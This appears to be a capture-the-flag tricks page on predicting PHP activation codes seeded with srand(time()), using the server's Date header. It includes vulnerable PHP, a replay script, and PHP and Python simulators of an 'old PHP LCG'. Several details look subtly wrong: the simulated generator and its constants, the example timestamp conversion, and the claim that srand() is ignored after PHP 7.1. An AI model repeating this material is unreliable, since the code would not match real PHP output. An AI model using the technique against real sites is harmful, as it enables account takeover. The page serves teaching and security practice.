> For the complete documentation index, see [llms.txt](https://sarpers-organization.gitbook.io/ctftricks/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://sarpers-organization.gitbook.io/ctftricks/_chapter-intro-17/vulnerability-exploitation/trick-0188.md).

# Predict Pseudo-Random Code (srand(time()))

***

If a system uses `srand(time())` to seed its pseudo-random number generator for generating values like activation codes, the output sequence becomes deterministic based on the exact Unix timestamp used as the seed. The problem with seeding with `time()` is that the seed space is very small. `time()` returns the number of seconds since the epoch. This means there are only 60 possible seeds per minute. If an attacker can guess the approximate time the seed was generated, they only have to try a small number of possibilities.

To predict the generated value, capture the server's precise time when the code was generated. This can often be found in the `Date:` header of the HTTP response received during the interaction (e.g., registration).

Then, replicate the server-side generation logic locally, using the captured timestamp as the seed for `srand()`. For example, if the server used PHP logic like the provided example:

```php
<?php
function generate_activation_code() {
  $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
  srand(time()); // Vulnerable seed
  $activation_code = "";
  for ($i = 0; $i < 32; $i++) {
    $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
  }
  return $activation_code;
}
?>
```

You can execute a similar script locally, substituting the vulnerable `time()` call with the captured timestamp (parsed by `strtotime` in PHP):

```php
<?php
function generate_activation_code() {
  $chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890";
  // Use captured server time from Date: header (e.g., "Sat, 21 Jan 2023 09:46:51 GMT")
  srand(strtotime("Sat, 21 Jan 2023 09:46:51 GMT"));
  $activation_code = "";
  for ($i = 0; $i < 32; $i++) {
    $activation_code = $activation_code . $chars[rand(0, strlen($chars) - 1)];
  }
  return print($activation_code); // Output the predicted code
}
generate_activation_code();
?>
```

Executing this local script with the correct captured time will output the exact same activation code generated by the server. Tools like Burp Suite are useful for capturing the necessary `Date` header.

To understand how this works, it's helpful to know that PHP's `rand()` (in older versions) and `srand()` functions use a Linear Congruential Generator (LCG). The state of `rand()` is typically stored as a few 32-bit integers. `srand()` sets this initial state based on the seed. `rand()` then updates the state using a fixed algorithm and returns a value derived from the state. Since the algorithm and constants are known, if the initial state (set by the seed) is known, the entire sequence of numbers is predictable.

One can simulate this LCG algorithm locally in PHP to replicate the server's generator:

```php
<?php
// The state of rand() is 4 32-bit integers in older PHP versions
$state = array(0, 0, 0, 0);

// This function simulates PHP's srand() function (old LCG)
function php_srand_old($seed) {
    global $state;
    $state[0] = $seed & 0x7fffffff;
    $state[1] = 362436069 & 0x7fffffff;
    $state[2] = 521288629 & 0x7fffffff;
    $state[3] = 88675123 & 0x7fffffff;
}

// This function simulates PHP's rand() function (old LCG)
function php_rand_old() {
    global $state;
    $state[0] = ($state[0] * 1103515245 + 12345) & 0x7fffffff;
    $state[1] = ($state[1] * 1103515245 + 12345) & 0x7fffffff;
    $state[2] = ($state[2] * 1103515245 + 12345) & 0x7fffffff;
    $state[3] = ($state[3] * 1103515245 + 12345) & 0x7fffffff;

    return ($state[0] ^ $state[1] ^ $state[2] ^ $state[3]) & 0x7fffffff;
}

// Example usage simulating the generator:
// php_srand_old(12345);
// echo php_rand_old() . "\\n";
// echo php_rand_old() . "\\n";
?>
```

The same simulation logic can be implemented in other languages, such as Python, to predict the output given a known timestamp seed. This script simulates the old PHP LCG (`rand`/`srand`) and generates a string based on the character set and length, using a provided timestamp:

```python
import time
import sys

# PHP LCG constants and state simulation (for older PHP versions)
state = [0, 0, 0, 0]

def php_srand_old(seed):
    global state
    state[0] = seed & 0x7fffffff
    state[1] = 362436069 & 0x7fffffff
    state[2] = 521288629 & 0x7fffffff
    state[3] = 88675123 & 0x7fffffff

def php_rand_old():
    global state
    state[0] = (state[0] * 1103515245 + 12345) & 0x7fffffff
    state[1] = (state[1] * 1103515245 + 12345) & 0x7fffffff
    state[2] = (state[2] * 1103515245 + 12345) & 0x7fffffff
    state[3] = (state[3] * 1103515245 + 12345) & 0x7fffffff
    return (state[0] ^ state[1] ^ state[2] ^ state[3]) & 0x7fffffff

def generate_string_old_rand(chars, length):
    result = ""
    for _ in range(length):
        max_val = len(chars) - 1
        # Simulate rand(0, max_val) using the old LCG
        # index = floor(php_rand_old() / (0x7FFFFFFF + 1.0) * (max_val + 1))
        index = (php_rand_old() * (max_val + 1)) >> 31 # Integer approximation of the mapping
        result += chars[index]
    return result

# --- Example Usage ---
# Replace with the timestamp captured from the server's Date header
# Example: "Sat, 21 Jan 2023 09:46:51 GMT" corresponds to timestamp 1674371211
# You would typically get this timestamp string and convert it using something like:
# import datetime
# import dateutil.parser
# date_header_str = "Sat, 21 Jan 2023 09:46:51 GMT"
# dt_object = dateutil.parser.parse(date_header_str)
# captured_timestamp = int(dt_object.timestamp())

# For demonstration, using the example timestamp directly:
captured_timestamp = 1674371211

# Define the character set and length used by the server
chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890"
code_length = 32

# Seed the local simulator with the captured timestamp
php_srand_old(captured_timestamp)

# Generate the code using the simulated rand()
predicted_code = generate_string_old_rand(chars, code_length)

# Output the predicted code
print(f"Predicted activation code: {predicted_code}")
```

It is important to note that as of PHP 7.1.0, `rand()` uses the Mersenne Twister algorithm by default, and `srand()` will not seed it; the seed will be ignored. `mt_srand()` should be used instead to seed the Mersenne Twister generator (`mt_rand`). The old `rand()` behavior is only available in modern PHP under specific, non-standard compilation flags. Therefore, this specific attack method based on predicting the old LCG sequence from a timestamp seed is primarily applicable to systems running older PHP versions or those explicitly configured to use the legacy `rand()` implementation. Predicting `mt_rand` requires a different approach, typically involving collecting many output values to reconstruct the generator's internal state.
